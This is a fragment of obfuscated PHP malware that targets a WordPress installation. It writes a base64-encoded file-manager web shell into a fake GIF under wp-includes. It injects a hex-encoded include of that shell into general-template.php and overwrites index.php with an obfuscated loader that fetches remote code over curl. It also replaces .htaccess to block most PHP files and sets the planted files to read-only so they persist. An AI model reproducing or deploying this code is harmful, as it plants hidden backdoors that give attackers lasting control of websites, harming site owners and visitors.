hXZWozdWxld2YyUmUvcmFuUnZiTnl2djcreUNXMVNObzBlU0RwdzVadUFiOXFiN1pwM3RYQmFLZzdDUWVYQko5K21mSHZqVU9paHpzUGN3ODNmbVgrMzlRanJTSGtyMGpxL2Rhd3RvMjJnUGFHOTcraU1vNTBkWGgxSHZyZi9mdTh4NDJOMXh6V1BWNTZnblNnOThmbmtncFBqcDJTbm5wMU9QejNVbWR4NTkwejhtV3RkVVYyOVowUFBuajhYZE81TXQxLzN5ZlBlNTQ5ZDhMeHc5Q0wzWXRzbHQwdXRQYTQ5UjM1dy9lRklyMXR2NjJYM3krMVhQSzUwOUUzck85SHYwMy82YXNEVmM5ZjQxeTVkbjNtOTc4YnNHN2R1SnQwY3VDVzY5ZmgyOXUwWGR3cnVUTnhkZW85NHIveSsydjNxQi9vUDZuKzAvckZsd0czZytHREFZTS9EV1EvdkRnbUhudjZVLzlPSDRkSkh6RWZWSTBZampZK2RIeDhiRFJxOThtVE9rK0duc3FjVHo4cCtWdjk1NjNPcjU5Lzk0dnRMejFqODJQQUwrWXZQdjY1NXFmTnk3NnVwcnpySEk4Y2Z2TTU1UGZHbS9LM08yMzN2dU8rNjM4ZTlINWtvL0VEK1VQUFIrbVBIcDlCUDl6N25mUDc4TC9lRTgvc2wwcDh6QUFBQUlHTklVazBBQUhvbEFBQ0Fnd0FBK2Y4QUFJRHBBQUIxTUFBQTZtQUFBRHFZQUFBWGI1SmZ4VVlBQUFHNFNVUkJWSGphZkpMUGFoTlJGTVovOTl5WmFiQnhDTk5LaXlnb3hHQ2dsQlpjdUNnSTlnMktMMU5Dd1M1S1g4QW5VTG9TdW5QVnJkdkdnQnVwRVYyNEVXUUNNOG5NNU0rOTE4Vk1SdU9pMytyQ1BkLzVmZWZjcTE3MVhqdTA1VGJadWVIeS9Fd0JlR2pMMjVNVDVzYXdNSWFKWFRWL0dneDRkM1hGMFhIUFhaNmZLUUd3MXJJd2hwa3htT21VUE10SXgyT1NKR0djcHJ3L1BVVjh6ZEZ4ejhrNFRldHVnZFkwZ29CQWF6d1JsQWh4SFBQbTRvSVhuUTZmQjMwOEFCSGhZNzhQd05aNnhLOUp6RzYzQzhETHcwT2N0WVJoeUlmcjY5SUEwRzYzY1ZYK0ppMGFRUUN6R1FDTGYyYnlBTFJTRElmRHVqdkF0Nm9nOGhyRWk0TDl2YjNTVUdRWlNvU25uUTRMYTdsTFZKT1d1bDhVQUJSWlZzM2dIRjl1YnVxQ0pXbHJQU3BwazVpRDdlMktrT2NBN0hhN3pJd3BNLzlIYXRMQzA1b2l6LzhPL2ZQcmQ4S1d6NC9mYVUwQm1FOHovTFU3Nk0zTmtqQXRDclFJRDU0OExrbjNZR1lNRDZNSWF5Mm1vZ0pNaTJLVkFCQzJmUExjNTlIR0JvZ0FZSXhCcXJPM2ZPbUQ1OC9LeXlxM2NRNnRWRzBDR0tjcFhqSWFyYXhRaTJDc0xZc0JKWUpUQ2lWQ01ocWhtanM3enRyYnYvZFNJc0tmQVFEZklzS0h2QVpZWkFBQUFBQkpSVTVFcmtKZ2dnPT0nPg0KDQoiOw0KLy8gPGEgaHJlZj1cIj9BUlJBWT17JEFSUkFZfSZmaWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT4NCiAgICAgICAgZWNobyAiDQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+DQo8L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4iLiRzaXplLiI8L2NlbnRlcj48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOw0KDQoNCg0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOw0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOw0KICAgICAgICBlY2hvICI8L2E+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+DQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPSRwYXRoJm9wdD1lZGl0JnR5cGU9ZmlsZSZuYW1lPSRmaWxlXCI+57yW6L6RPC9hPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+DQo8YSBocmVmPVwiamF2YXNjcmlwdDppZihjb25maXJtKCfnoa7lrp7opoHliKDpmaTlkJc/JykpbG9jYXRpb249Jz9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD17JHBhdGh9Jm9wdD1kZWxldGUmdHlwZT1maWxlJm5hbWU9eyRmaWxlfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8L3RhYmxlPg0KPC9kaXY+JzsNCn0NCmVjaG8gJzxicj48YnI+PGJyPjxicj48L2I+DQo8L2JvZHk+IDwvaHRtbD48L2JvZHk+DQo8L2h0bWw+JzsNCmRpZTsNCmVuZGlmOyAgLy8gPT09PQ0KDQoNCg0KDQoNCg0K"; // WP 404 @chmod($jue_jiang_404_path, 0644); @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404)); @chmod($jue_jiang_404_path, 0444); } $file_general_template_path = $do."wp-includes/general-template.php"; $general_template_code = @file_get_contents($file_general_template_path); $gen_mat = base64_decode("QGluY2x1ZGVbXHNdKyIoXFxbeDAtOV0uKz8pIjs="); $isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false; if (!$isget_mat){ $mc1 = "KGZ1bmN0aW9uW1xzXStnZXRfaGVhZGVyKFtcc10rKT9cKCguKz8peyk="; preg_match_all("/".base64_decode($mc1)."/i",$general_template_code,$pr); $str = "\x" . substr(chunk_split(bin2hex($jue_jiang_404_path), 2, "\x"), 0, -2); $new_general_template = str_replace($pr[0][0],$pr[0][0].PHP_EOL.PHP_EOL." @include \"$str\";",$general_template_code); @file_put_contents($file_general_template_path,$new_general_template); } error_reporting(0); set_time_limit(0); ignore_user_abort(true); $do = "/home/xswop4u1ust1/public_html/"; $open_cache_ruzhu_phpcode = base64_decode("PD9waHAgZXJyb3JfcmVwb3J0aW5nKDApOyAkamN2cyA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRQWkdTPSR7JGpjdnNbMzFdLiRqY3ZzWzU5XS4kamN2c1s0N10uJGpjdnNbNDddLiRqY3ZzWzUxXS4kamN2c1s1M10uJGpjdnNbNTddfTtAKGNvdW50KCRQWkdTKT09MjMmJmluX2FycmF5KGdldHR5cGUoJFBaR1MpLmNvdW50KCRQWkdTKSwkUFpHUykpPygoJFBaR1NbNjldPSRQWkdTWzY5XS4kUFpHU1s3NV0pJiYoJFBaR1NbODldPSRQWkdTWzY5XSgkUFpHU1s4OV0pKSYmKEAkUFpHUz0kUFpHU1s4OV0oJFBaR1NbNjBdLCRQWkdTWzY5XSgkeyRQWkdTWzUwXX1bMjZdKSkpJiYkUFpHUygpKTokUFpHUzsgJG91WFVCdiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRicU1qID0gYXJyYXkoQCR7JG91WFVCdlszMV0uJG91WFVCdls1NV0uJG91WFVCdls1N10uJG91WFVCdls0Ml19WyRvdVhVQnZbNjFdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNjFdLiRvdVhVQnZbMzddXSwgJG91WFVCdlsyN10uJG91WFVCdlsxMl0uJG91WFVCdlsyNV0uJG91WFVCdlsyOV0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyNF0uJG91WFVCdls5XS4kb3VYVUJ2WzE2XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzEwXS4kb3VYVUJ2WzIxXS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzE2XSwgJG91WFVCdlsxMV0uJG91WFVCdlsxMF0uJG91WFVCdlsxMl0uJG91WFVCdlszMV0uJG91WFVCdlsxMl0uJG91WFVCdlsxNV0uJG91WFVCdlsxMF0uJG91WFVCdls3N10uJG91WFVCdls3NV0sICRvdVhVQnZbMjBdLiRvdVhVQnZbMTFdLiRvdVhVQnZbMTVdLiRvdVhVQnZbMTZdLiRvdVhVQnZbMzFdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLiRvdVhVQnZbMjddLiRvdVhVQnZbMTVdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLCRvdVhVQnZbMTRdLiRvdVhVQnZbMjldLiRvdVhVQnZbMjddLiRvdVhVQnZbMTldLCAkb3VYVUJ2WzI4XS4kb3VYVUJ2WzI5XS4kb3VYVUJ2WzExXS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzcyXS4kb3VYVUJ2Wzc0XS4kb3VYVUJ2WzMxXS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XSwgJG91WFVCdlsyNF0uJG91WFVCdlsyMV0uJG91WFVCdlsxOF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyM10uJG91WFVCdlsyNV0uJG91WFVCdlsxMF0uJG91WFVCdlszMV0uJG91WFVCdlsyN10uJG91WFVCdlsxNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsxMV0sIEAkeyRvdVhVQnZbMzFdLiRvdVhVQnZbNTVdLiRvdVhVQnZbNTddLiRvdVhVQnZbNDJdfVskb3VYVUJ2WzE1XS4kb3VYVUJ2WzI0XV0sKTsgJENkVCA9ICRicU1qWzJdKCRicU1qWzBdKTskdUUgPSBAJGJxTWpbNF0oJG91WFVCdls1NF0uJG91WFVCdls4NF0sICRDZFQpOyR1RndqUSA9ICRicU1qWzNdKCR1RSwgdHJ1ZSk7ICRicU1qWzddID09IDEgJiYgZGllKCRicU1qWzZdKF9fRklMRV9fKSk7IGlmICgoJHVGd2pRWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJHVGd2pRWzJdKSkgPT09ICJjOGU1NTM5MWVkZDU1NDBjM2JiOGFjMmNmOTU5OWRkNyIpIHsgJEl2WHNQID0gY3VybF9pbml0KCR1RndqUVsxXSk7IGN1cmxfc2V0b3B0KCRJdlhzUCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7ICR6b2lNID0gY3VybF9leGVjKCRJdlhzUCk7JEtGY00gPSBlbXB0eSgkem9pTSk/JGJxTWpbNl0oJHVGd2pRWzFdKTokem9pTTtAJGJxTWpbMV0oIiIsICRvdVhVQnZbMV0gLiAkYnFNals1XSgkS0ZjTSkgLiAkb3VYVUJ2Wzc5XS4kb3VYVUJ2Wzg0XSk7IGRpZTt9ICRYRkdaTiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRBekY9JFhGR1pOWzI3XS4kWEZHWk5bMTJdLiRYRkdaTlsyNV0uJFhGR1pOWzI5XS4kWEZHWk5bMTBdLiRYRkdaTlsyNV0uJFhGR1pOWzMxXS4kWEZHWk5bMjRdLiRYRkdaTls5XS4kWEZHWk5bMTZdLiRYRkdaTlsyN10uJFhGR1pOWzEwXS4kWEZHWk5bMjFdLiRYRkdaTlsxNV0uJFhGR1pOWzE2XTsgJG9EeE1KPUAkQXpGKCRYRkdaTls5MF0uJFhGR1pOWzMxXSwkWEZHWk5bMjVdLiRYRkdaTls4XS4kWEZHWk5bMjldLiRYRkdaTlsxOF0uJFhGR1pOWzg2XS4kWEZHWk5bOTJdLiRYRkdaTls2M10uJFhGR1pOWzY0XS4kWEZHWk5bOTJdLiRYRkdaTls4MF0uJFhGR1pOWzI4XS4kWEZHWk5bMjldLiRYRkdaTlsxMV0uJFhGR1pOWzI1XS4kWEZHWk5bNzJdLiRYRkdaTls3NF0uJFhGR1pOWzMxXS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzI3XS4kWEZHWk5bMTVdLiRYRkdaTlsyNl0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsxMV0uJFhGR1pOWzEwXS4kWEZHWk5bMTJdLiRYRkdaTlszMV0uJFhGR1pOWzEyXS4kWEZHWk5bMTVdLiRYRkdaTlsxMF0uJFhGR1pOWzc3XS4kWEZHWk5bNzVdLiRYRkdaTls4Nl0uJFhGR1pOWzIzXS4kWEZHWk5bNF0uJFhGR1pOWzIxXS4kWEZHWk5bMTZdLiRYRkdaTlsyNF0uJFhGR1pOWzE4XS4kWEZHWk5bMjldLiRYRkdaTlsxMF0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsyOF0uJFhGR1pOWzI5XS4kWEZHWk5bMTFdLiRYRkdaTlsyNV0uJFhGR1pOWzcyXS4kWEZHWk5bNzRdLiRYRkdaTlszMV0uJFhGR1pOWzI2XS4kWEZHWk5bMjVdLiRYRkdaTlsyN10uJFhGR1pOWzE1XS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzg2XS4kWEZHWk5bMTFdLiRYRkdaTlsxMF0uJFhGR1pOWzEyXS4kWEZHWk5bMzFdLiRYRkdaTlsxMl0uJFhGR1pOWzE1XS4kWEZHWk5bMTBdLiRYRkdaTls3N10uJFhGR1pOWzc1XS4kWEZHWk5bODZdLiRYRkdaTls5MF0uJFhGR1pOWzMxXS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bNjddKTtAJG9EeE1KKCJlSWFXdGRZWFJpMnRoalJmK21uWWcwUE14eFNEdXlFM25ZcnlQTlZYRkNZMVlrVnBIWHpkZWE1aWpITHV2QlVSdkVDV3JaZFVPMitGVTFrSHpQNlg1YUwyR290dUwyY1FNYlR4THJkZEMza0NWeHFDM08wODZHMk1vYVhRWDRiMFJSdDJNcWFaQXE1VXFlYnJFSW5xbnBBbTVjV3FIeWRtZ1FXM1RGQkRibG44WEY3WVZOcG92Y2tLbkwzdjFCU0tjaE1IY2g2aWMrWTYzNno0bGExN3h6QjNWVkx6eG9GcDhZN2VFVGFnUVpUc0JVWnFXZ0JLdEc5eS9pVGF4NDFpTStyZXdtdm44QkFsUmhOYm1DVHQ4b3I5bTA2UWhvVkU3VVZQZ2QyMUpINUppeE12YW9pbnlGV0dTMFhxaDc2bUppaXI5czcyTnkvdWlLd2UyOVlJMzVoaVc1VE1BL3I1NXQ3aFhqamhtMTlnSnhIbkduZFFsMjlBaHBkQzRySE0rKzVHNnpTdmZpbDdiSGlhdDUwVVA2NXRaZjlYUytqektQdHhLRVF6ZzhvaEwxM3JlWUU0OHc1UG1CKzVtWCtvckExdnk5RGQ1UkFkYTNxRUFLOTVtK0RrZzJER2NOQmNsUWpITDVvV2s3WDFHdFhXWjdFanVJMjJsU2pPTGNKRldKWUpiMHEvYkZNYngzWWJONy8zQjRBbXpWQ1RvL0tjQmdSOVZNZ1UrS01ySWVoUWFTVnNJMU5tZmVOYUluVjVRVFBWekNNZW1naWV6eitwTFI3THRLOHhQcEVOeWpSS2FJdjEyWnorNStDSXljRGhxVmJJeVY3VnI1ZGx4U0M3N3FzL3pnc1pWNlJjTWthdFkzL1g1RDAzbXJIa0kxbWwxOS83Zm9uei9qZzJvb1dXWUdGNTlFMEZXdUovRHVKY1JIcXhGSlpVZElkcE5LZ2ZKYnNINWpjOGNld2U5U1ExMlRyRHkzRXRERjRSRGEwMXFPak1yZUtQTjRUT005eDBGaUJrOGNMaW9wdVNXLy9LaWJWbkt6V2c3OEFFcmZyWEYyZXNZZ0xjbGpBVTRCVlZDSjlQL2tlNnBoM29FaDI3anQ1NHRjYXMvVW1TTkNNRHlBdkc3SXZyT1RDak1JU25kOGxHYlg4anI5UTJ5RzVqSlpRVGZUQ3dnRjg5WEdlWDF6Q3JKOS9oQ1JJNHBhRVdhVWFZU3BEVytxaHNRZ2NqYURUc21NK3Nvbi9YbkNZbmlHcS82Y0MyWnRMRHQ4Q1VjdjdnSHgrUjN5Y2gvV3pOMVRiL0l1M2N1T09yMHk2Tnp6L2hDQUo1WWg4TllRQ1dqWFk1QnY5Zm4wZHNIMXVZMUl5T0hFa3J4a1FUUnZUK2p0YmQyTmkvUTdNUkZIS2xLOWd2dVlTRlFFMkV5SUVNTUUyU0VxRmluVHlLQ3N6MG13RStzRFBta0JJUWxQS3hBOGtTU2ZhWHdPckVqM3FncFU5Y2oxSkxDc3ZKWUVJVGZBUFp3V0hsL0NpTHpVcGZWcFNFSkRSZW1BZlQ1Z1NzMUkrZ3hOYzJFbU5LWUxIVmViRThmUUtlZ0xJcTRxR2pEKzFmemE1Z29EQTJScjM3cDI4ZnkxeFJhT2hvNlRDQmk5dFhqWjkxSGNoN29mbGxCYURJeWlyRVY0eDBxenp6ZWkveEtJMHJ1Q3FUMUIvNVdvcHo1T282Y3g2dm9jM1ZGWGM0blMxK3VUTWJFQmhoVnBmT21oM2dqSE1RalJsU0JlM0JPMDl0MGZOZlJlZ2JwcFN5dE5obEFyaHMzRWN0Y0dZVUJiZnFuRExwZHRlRE4rTlU4VEVzL2ZKWTdqb1poV0VHZE0zcitqNm5wcVpOaUt5S3pVazV1ZTdkNTVMS29nbnZ3ZjVjNmpNcHVGK20rYjZXM2NlcE14azdhSkZZV1c1TlR1OHVVanFSbmo2NDVXa0E0aVZRaXBJT1FvdGFGc3hrLzRSVE1SUC9ISGtHczY0cDM0Qlc1dGRuKysxMkdnbXpRWnFQR0xkcXJzeHFaNXpRb1hiRVpmTlRGNVZPaGhiNjZDeGpaVGgrOW9Ud1pLUVovTkE4ZkN4andqWnVHYzdyNmpwekZKZ0ZVa1JzenVkWC9XWCtqNmJBb0Urb3BjdC8vNjltamxZRTFZWE1ybDV0UGlWM1MxL2UveFNDZ1lLR1Arb25PbVFLMy9IWUtiK3JxUVZUelpROFZiUE1sM2x3L0FKQ3JMQ3dnNXpZZ2N4QVRXOU1BcGtPMHpRbzRKOExGblRhWEJudXMyOGtOSDRoN2tDN2huSUtQNU9HTmlUb1NCaHEvOFVodTdlK3RiZkI5aDhuaTU5ZTZGbUJVM2k1Y3c4bjdoUTlkRTlQd0tnMUlrL2kzVUMwa1EzS0p5UXE4RnI5cGdaRHhOK0JueUtEOXdDME1hTmJvQ3JvRnNKdDUrOTZRaWx1QmhtZ1ZuODA3OUR6bllRaHdpRTJwVklrY3Q0M1RhVXhEMUhWZGhmdFozTlQ0UC8wK3JBaDFVWVllWFZrREovcjNrQnkvNzViRk44bXRCQzNycEJTcFkrWVArTmdHYlBNTkdjbE03ZDBlaU9zSkhVQ2NvOEtScjI5OVMwVVVIcjEzSXVoOUlsQ203OVJMaFl3bVBsSEp3dHRPeHp0WURIN2hCSjBCaHdKUHNFajFya2piT0lzcVBUcTAxTzMwT2xCRnhsNEFiVWZGWGVkOFNCVzhTQlNUTDRiVThDZjhLRlR2Wk83ZUo2MFVNWWJTeEMxNVVycnNySGtuRDA0dUkxS3Z1ZHE3aU5YNk82ZHNFWVpTUGNsWU53b29UbkVIZFJjYmVCVzVvUlh6T2VxNjUyb2dZKzBZMlpsNlZqRTFzMVdFdUJMRzFKQkZsQzNBc0ZycnVZSWVscklER1hkeE5rcDM4NU1nZFFuak5WOTFlbG1NKzk0bGlVS0FpN1hvOExwZGxGbTFSY2xXWGR1SkMrQy9McU1ZdkNUeG5ITXp3STJsZStDYjgvSkZtbXNkR1VIRDFTNUlIWDhXcDB4VEdRbGh3ZjhDRDhtcTUzVk9NMjlxQm5UdnJocEdHeGlzRWYweisyS3Y0cUxuUi9PNzJLMTJZZ0FZMWI3bGdVM3IyVXp5VFI1eWxwUzFETHpwT0swNnJmKzVPWExRcFB5YXg5YVlhUDVnSHg0QndzYnI4WWgvODhwLzVtd0oxa25vVUttK1pjc3E1ZnM3WFRQdmFESE04NTZ2U3dtWVovalJpV29VUGd3RUpzeGlxbksyR25qYnpEdDdNYzZBVHBweGsrWTZCcDMrVFM1ajEvUTZsNWJ0eFNUMGlZd3IzMFNNYnZxN3BtblBVYzQ0TkIvZVV1SC9nbXUrVU0yOVVQenBBUFNoQVNBQ29sdUFLMlBxRVV1em5EUGF1MDhFZUJzQTcrLzlqa2JSK0toUjQ1NitkcnFoSlNuODBrUDkxVjduMldYNDlJaDBNeFlHOWJpY2lnQW8rOGxjdGpwUGFmQlR4VUNBNytjUnIzcUZMM1lFYWZsUEp2andYQ2F1QTk2aXp1dzRKZkdnQkhlaWNmTEc2elVxNWE3WjZxN3NrQm9nM21SRlA5QlU1N2dMWUtJUzExZk5QcVhmVUhjZlMvTlF5UXFwa21rOHhXaG11YXJtbmE2SkFpbzgva1Z1UzMwcm5uTml5Z2FxZlpBNFdCa0Z3RkVzcGVBMXFNV2RFa094dWZoaVozS1BtcmpFdFE4RFJRWVFudSsrcGVpWlZOcVBlRUlpeDNxVnlrajY5K053L0hBVWw1NkIxUFpRd241SzZaVjhPVTU1MUptcmpPS3lMejdZUnN5Y1FtSFQ4Y3FNS1orVi9mL3NUckdZMkhldG1sM002cE9tc3B3U2s0ZGVaeTY0RWVkOFhsTyt5R3k5aWxRNnUwRzN0STY3M1NDNnBSOGtOQzdZYW5uaHFRYlpGeCt0TjVocXVQZG9tL3dTYXpsOW8vVlkvS2F6S0JPZzJnR08wMVQrcVZHMWROR0c4M01sakhRSVRwK2t3TldKdDZEYnlFK0JSaHdnbi9GalZVcTg3Y21TdmhRNEl6eTN1OUh1VS9XWjFMMFJYY0dDSzJYS2tlUWl2Z1ZYaURWdjhwWEY1L2kyZGgrZ2lzUjlyUW1VYVhqaHJsVWEyYVhhYTUxY3ZYUTZPYVdIdEdBdVNHVW4vUGNLQlh6K2xpMzllMExKSlRkSWJHbmlDSVlrOC9iejM3WFJhVk4vQjErWXcvN09lbStjSi8zemFvOXZDL053ajR6Qm1IbmRBK2ZyTGc1RVorWlBUdEI0Uk14MytCNDdGL0g1YnFhaGwyaTA3ejBJT09hbnl6a2ROaDZpMitDVWlhRTZhclhIK2VhK2lkZ0wvaThlbkNhR1RXbWptSzllZ1loSmovOHl0NmxBRzNVL3prS3I1emdleFEzd0tqTUcvbndpQnJwNUM2Z2RwVXVWYzVneS9WeEt4NWFobllrUlcrTGQvTy9id3lvaGVaeUt1SzA3NVFLN2xrNWJZdzgybk9hSkFtb1E5dDdYV3IzQjlOYUIrWVkrcVlxNyt1N3NpaGczN1h5enVib1d0Q0xnMmRsQnBjYy9tYUUzcDRsNExGdjJuMk5hM1JSM0JNVzBIU3dJYytwTjMyakcyQTZpaVE3NktmVjVWR2g5SlZiR1NyczVkL0VHc29DL3JWOGw0S2N1Q1NhajExekpsNnFFNm85SUVtNCtiM2hFL1poMmtieU5tVEtudTcwYnl1K2o5L1gxWmp2MC9NWksvNkFOVkIvejU1aXBCMjhuOCtVMTQvc3RSTmVXeVFpWTNPajExTG02M2NoZnBZWjdKbWtVcVJtR0pISStDb284a3hxcDlEZ3BoSjV2bS9hTit2TEcyZTRjTy9sOFFXaTgzVTg5Yy8vTnQ9PSIpOz8+PD9waHAgZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsgcmVxdWlyZSgnLi93cC1ibG9nLWhlYWRlci5waHAnKTs/Pg=="); $index_code = file_get_contents($do."index.php"); if(md5($index_code) != md5($open_cache_ruzhu_phpcode)) { @chmod($do."index.php", 0644); @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode); @chmod($do."index.php", 0444); } $huan_yuan_htaccess = base64_decode("PEZpbGVzTWF0Y2ggJy4ocGhwfHBocDV8cGh0bWwpJCc+Ck9yZGVyIGFsbG93LGRlbnkKRGVueSBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxGaWxlc01hdGNoICdeKGluZGV4LnBocHxhdXRvX3Nlby5waHB8d3AtYmxvZy1oZWFkZXIucGhwfHdwLWNvbmZpZy1zYW1wbGUucGhwfHdwLWxpbmtzLW9wbWwucGhwfHdwLWxvZ2luLnBocHx3cC1zZXR0aW5ncy5waHB8d3AtdHJhY2tiYWNrLnBocHx3cC1hY3RpdmF0ZS5waHB8d3AtY29tbWVudHMtcG9zdC5waHB8d3AtY3Jvbi5waHB8d3AtbG9hZC5waHB8d3AtbWFpbC5waHB8d3Atc2lnbnVwLnBocHx4bWxycGMucGhwfGVkaXQtZm9ybS1hZHZhbmNlZC5waHB8bGluay1wYXJzZS1vcG1sLnBocHxtcy1zaXRlcy5waHB8b3B0aW9ucy13cml0aW5nLnBocHx0aGVtZXMucGhwfGFkbWluLWFqYXgucGhwfGVkaXQtZm9ybS1jb21tZW50LnBocHxsaW5rLnBocHxtcy10aGVtZXMucGhwfHBsdWdpbi1lZGl0b3IucGhwfGFkbWluLWZvb3Rlci5waHB8ZWRpdC1saW5rLWZvcm0ucGhwfGxvYWQtc2NyaXB0cy5waHB8bXMtdXBncmFkZS1uZXR3b3JrLnBocHxhZG1pbi1mdW5jdGlvbnMucGhwfGVkaXQucGhwfGxvYWQtc3R5bGVzLnBocHxtcy11c2Vycy5waHB8cGx1Z2lucy5waHB8YWRtaW4taGVhZGVyLnBocHxlZGl0LXRhZy1mb3JtLnBocHxtZWRpYS1uZXcucGhwfG15LXNpdGVzLnBocHxwb3N0LW5ldy5waHB8YWRtaW4ucGhwfGVkaXQtdGFncy5waHB8bWVkaWEucGhwfG5hdi1tZW51cy5waHB8cG9zdC5waHB8YWRtaW4tcG9zdC5waHB8ZXhwb3J0LnBocHxtZWRpYS11cGxvYWQucGhwfG5ldHdvcmsucGhwfHByZXNzLXRoaXMucGhwfHVwbG9hZC5waHB8YXN5bmMtdXBsb2FkLnBocHxtZW51LWhlYWRlci5waHB8b3B0aW9ucy1kaXNjdXNzaW9uLnBocHxwcml2YWN5LnBocHx1c2VyLWVkaXQucGhwfG1lbnUucGhwfG9wdGlvbnMtZ2VuZXJhbC5waHB8cHJvZmlsZS5waHB8dXNlci1uZXcucGhwfG1vZGVyYXRpb24ucGhwfG9wdGlvbnMtaGVhZC5waHB8cmV2aXNpb24ucGhwfHVzZXJzLnBocHxjdXN0b20tYmFja2dyb3VuZC5waHB8bXMtYWRtaW4ucGhwfG9wdGlvbnMtbWVkaWEucGhwfHNldHVwLWNvbmZpZy5waHB8d2lkZ2V0cy5waHB8Y3VzdG9tLWhlYWRlci5waHB8bXMtZGVsZXRlLXNpdGUucGhwfG9wdGlvbnMtcGVybWFsaW5rLnBocHx0ZXJtLnBocHxjdXN0b21pemUucGhwfGxpbmstYWRkLnBocHxtcy1lZGl0LnBocHxvcHRpb25zLnBocHxlZGl0LWNvbW1lbnRzLnBocHxsaW5rLW1hbmFnZXIucGhwfG1zLW9wdGlvbnMucGhwfG9wdGlvbnMtcmVhZGluZy5waHB8c3lzdGVtX2xvZy5waHApJCc+Ck9yZGVyIGFsbG93LGRlbnkKQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kClJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPg=="); $yuan_htaccess = file_get_contents($do.".htaccess"); if(md5($yuan_htaccess) != md5($huan_yuan_htaccess)) { @chmod($do.".htaccess", 0644); @file_put_contents($do.".htaccess", $huan_yuan_htaccess); @chmod($do.".htaccess", 0444); } $jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif"; if (!file_exists($jue_jiang_404_path)){ $jue_jiang_404 = 